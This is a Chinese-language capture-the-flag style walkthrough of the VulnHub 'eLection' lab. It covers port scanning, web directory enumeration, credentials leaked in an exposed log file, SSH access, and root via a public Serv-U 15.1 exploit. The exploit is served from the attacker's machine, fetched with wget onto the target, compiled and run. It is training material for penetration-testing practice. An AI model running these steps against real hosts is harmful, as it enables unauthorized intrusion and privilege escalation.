【OSCP】- eLection 靶机学习
目录
- 0. 靶场信息
- 1. 靶机扫描/服务探测
- 2. 80端口
- 3. 22端口
- 4. 提权
0. 靶场信息
Level: Intermediate
Community Rating: Intermediate
Number of Flags: 2
OS: Linux
Leverage enumeration and web enumeration techniques to uncover system weaknesses. Apply privilege escalation strategies to gain elevated access. This lab is designed to harness your skills in vulnerability discovery and exploitation.
vulnhub:https://www.vulnhub.com/entry/election-1,503/
1. 靶机扫描/服务探测
目标靶机IP:192.168.194.211
扫描端口: sudo nmap -Pn -sS -T4 -AO -p- 192.168.194.211
─# nmap -Pn -sS -T4 -AO 192.168.194.211
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-20 16:06 CST
Warning: 192.168.194.211 giving up on port because retransmission cap hit (6).
Nmap scan report for bogon (192.168.194.211)
Host is up (0.19s latency).
Not shown: 960 closed tcp ports (reset), 38 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 20:d1:ed:84:cc:68:a5:a7:86:f0:da:b8:92:3f:d9:67 (RSA)
|_ 256 b8:f4:d6:61:cf:16:90:c5:07:18:99:b0:7c:70:fd:c0 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=7/20%OT=22%CT=1%CU=32147%PV=Y%DS=4%DC=T%G=Y%TM=687C
OS:A482%P=x86_64-pc-linux-gnu)SEQ(CI=Z%TS=A)SEQ(TI=Z%CI=Z%TS=A)SEQ(SP=102%G
OS:CD=1%ISR=10F%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=106%GCD=1%ISR=10F%TI=Z%CI=Z%TS=D
OS:)SEQ(SP=109%GCD=2%ISR=10D%TI=Z%CI=Z%II=I%TS=C)OPS(O1=M578ST11NW7%O2=M578
OS:ST11NW7%O3=M578NNT11NW7%O4=M578ST11NW7%O5=M578ST11NW7%O6=M578ST11)WIN(W1
OS:=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O
OS:=M578NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N
OS:)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=
OS:S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1
OS:(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI
OS:=N%T=40%CD=S)Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE (using port 8085/tcp)
HOP RTT ADDRESS
1 ...
2 195.65 ms bogon (192.168.45.254)
3 196.21 ms bogon (192.168.251.1)
4 195.99 ms bogon (192.168.194.211)OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 234.39 seconds
开放了22端口(OpenSSH 7.6p1)和80端口(Apache httpd 2.4.29)。
2. 80端口
浏览器访问 80 端口:http://192.168.194.211/
是一个 Apache 的页面。目录扫描:dirsearch -u 192.168.194.211
发现几个路径,依次访问看能否发现什么信息:
-
/phpinfo.php:暂时没有什么有用的信息
-
/phpmyadmin 和 /phpmyadmin/index.php:管理员的登录页面,可以试试登录。
-
/phpmyadmin/doc/html/index.html
-
/robots.txt:
这不是一个标准的 robotes.txt 文件内容,所以可能是存在的目录。依次访问这些目录,都是404,只有 election 有返回:http://192.168.194.211/election/
再来探测一下http://192.168.194.211/election/
的目录:dirsearch -u http://192.168.194.211/election
我把每个路径都访问了一下:
-
/election/admin/,/election/admin/index.php
-
/election/admin/logs/
-
/election/data/
-
/election/index.php/login/
-
/election/js/
-
/election/languages
-
/election/lib
-
/election/media/
-
/election/themes/
在admin(http://192.168.194.211/election/admin/)的路径下,发现有个测试 admin ID的页面:
这里尝试了admin,提示还有五次机会。有次数限制,暂时不考虑破解了。
又想到在log路径(http://192.168.194.211/election/admin/logs/)下有个系统日志文件 system.log,访问一下就自动下载了,查看文件内容:
给出了一个用户名和密码:love: P@$$w0rd@123
再去 http://192.168.194.211/election/admin/ 中尝试,发现还是不行。
想起来前面的的 phpmyadmin 登录页面,来试一下,发现也不是用在这里的。
3. 22端口
还有个 22 端口的 ssh 服务:ssh love@192.168.194.211
进入服务器了,进行一波服务器的信息收集,发现了第一个 flag:
4. 提权
查看权限相关的信息:
查看端口开放情况:netstat -tuln
开放了3306端口,结合前面的phpmyadmin,可以考虑去找mysql相关的信息。
在前面的 phpinfo.php 页面可以看到网站的根目录,进入网站目录看看有没有数据库相关的信息:/var/www/html
找到了数据库的用户名和密码,用这个可以登录到 phpmyadmin 中:
查看数据库相关的信息,这发现还有一个 root 用户,密码是 toor。所以前面在面对 phpmyadmin 的时候可以尝试弱口令:
数据库方面这里没有其他的可用信息了。
再次回到前面在查看权限相关的信息的时候,有个 /usr/local/Serv-U/Serv-U,这是SolarWinds 专有的 FTP 和 MFT 服务器:
进入这个目录中看一看,发现了版本信息 15.1:
查找看有没有相关的漏洞可以利用:searchsploit Serv-U 15.1
这里有两个可以利用的,尝试使用第一个。
先将脚本复制到当前目录下:searchsploit -m 47009.c
查看脚本内容:
c语言的脚本要先 compile编译,这个文件中也给出了使用方法。
在kali中用python搭建一个简易的服务器,将这个文件上传到靶机。
开启python服务器:python -m http.server 9898
目标主机下载文件:wget http://192.168.45.190:9898/47009.c
提示没有写入权限,切换到 /tmp 目录下再尝试 wget:
写入成功,按照这个脚本中说明的使用方法,执行命令:gcc 47009.c -o pe && ./pe
提权成功。第二个flag在 /root下: